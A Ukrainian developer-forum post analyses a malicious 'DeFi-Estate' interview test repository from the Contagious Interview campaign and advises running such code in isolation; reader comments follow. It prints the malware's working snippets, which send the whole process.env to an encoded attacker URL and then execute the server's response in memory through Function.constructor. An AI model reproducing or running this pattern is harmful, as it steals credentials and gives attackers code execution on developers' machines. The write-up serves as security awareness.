Скам під час тестових на інтерв’ю

Як за один npm run dev втратити ключі від AWS та GitHub

Останнім часом на ринку праці з’явився новий тип «роботодавців», спілкування з якими закінчується не офером, а повною компрометацією вашої робочої машини. Мова йде про відому кампанію Contagious Interview, яка масово таргетить розробників у LinkedIn, Telegram та Upwork (особливо у сферах Web3, AI та FinTech).

Нещодавно мені до рук потрапив один із таких тестових репозиторіїв під назвою DeFi-Estate. Після швидкого аналізу коду стало зрозуміло: це класичний, професійно написаний бекдор.

Ділюся технічним розбором, щоб ви не повторили чужих помилок.

Технічний розбір: Як це влаштовано всередині

Зловмисники розраховують на те, що кандидат захоче запустити проєкт локально, щоб подивитися, як він працює. Щойно ви піднімаєте бекенд, у файлі dataService.js автоматично відпрацьовується функція verifyToken().

Давайте подивимось на фрагмент коду:

async function verifyToken(req, res) {
const { data } = persistence;
const tokenAddress = "aHR0cHM6Ly9pcC1jaGVja291dC1vbmUudmVyY2VsLmFwcC9hcGkvaXAtY2hlY2stZW5jcnlwdGVkLzNhZWIzNGEzOQ==";
verify(parseToken(tokenAddress))
.then((response) => {
const responseData = response.data;
const executor = new (Function.constructor)("require", responseData);
executor(require);
return { success: true, data: responseData };
})

Етап 1: Декодування та ексфільтрація даних

Рядок tokenAddress — це звичайний Base64. Якщо його декодувати, ми отримаємо URL-адресу зловмисників:

https://ip-checkout-one.vercel.app/api/ip-check-encrypted/3aeb34a39

Далі функція викликає verify(), яка захована у файлі users.js. Ось її логіка:

async function verify(api) {
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });
};

Вона бере весь ваш process.env — з усіма вашими локальними токенами, паролями до баз даних, приватними ключами AWS чи GitHub — і відправляє на сервер зловмисників через POST-запит.

Етап 2: Remote Code Execution (RCE) в оперативній пам’яті

Найцікавіше відбувається далі. Сервер зловмисників повертає зашифрований або обфускований JavaScript-код (responseData).

Замість банального та помітного eval(), вони використовують динамічний конструктор функцій:const executor = new (Function.constructor)("require«, responseData);

Це дозволяє виконувати шкідливий скрипт безпосередньо в оперативній пам’яті процесу Node.js. Стандартні антивіруси цього не бачать, бо на жорсткий диск нічого не записується. Цей код може завантажити RAT (Remote Access Trojan), злити сесії з браузера, вигребти криптогаманці або встановити persistence-скрипти у вашій системі.

Навіщо їм це потрібно?

Креденшели хмарних провайдерів: AWS, GCP, Azure токени з файлів на кшталт ~/.aws/credentials.

Доступ до репозиторіїв компанії: Через ваші SSH ключі до GitHub/GitLab, щоб спробувати закинути шкідливе ПЗ вже в код вашого поточного роботодавця.

Криптогаманці: скрипти автоматично сканують розширення браузерів (MetaMask тощо) і викачують seed-фрази.

Правила безпеки:

Якщо ви шукаєте роботу, змінюйте підхід до запуску чужого коду:

Забудьте про запуск на «голій» системі: ніколи не пишіть npm install для тестових завдань від незнайомих компаній безпосередньо на своєму робочому чи особистому комп’ютері.
Проводьте швидкий аудит коду за допомогою ШІ.

Використовуйте ізоляцію: запускайте проєкт виключно в Docker-контейнері (з обмеженим доступом до мережі), у хмарних сендбоксах на кшталт GitHub Codespaces, або на окремій віртуальній машині (VirtualBox, UTM), яку не шкода видалити.

👍ПодобаєтьсяСподобалось4
До обраногоВ обраному3
LinkedIn
Дозволені теги: blockquote, a, pre, code, ul, ol, li, b, i, del.
Ctrl + Enter
Дозволені теги: blockquote, a, pre, code, ul, ol, li, b, i, del.
Ctrl + Enter

нічого не завантажуєм, не інсталюєм, чи клоним
максимум реверс строки у браузерному онлайн редакторі

Ого! Дякую, корисне

М-да, пора задуматься о создании отдельной VM для собесов без связи с основной машиной вообще

Мене теж скамонули, індуси, пропонували з. п. вище ринку. Прислали репо якоїсь карткової гри на NodeJS, що хостився на BitBucket, воно почало викачувати мій дропбокс після відкриття в IDE (там в .vs_code були хуки), слава богам шо NodeJS нотіфікейшен про процес виплив, тож я відносно вчасно потушив комп

Підписатись на коментарі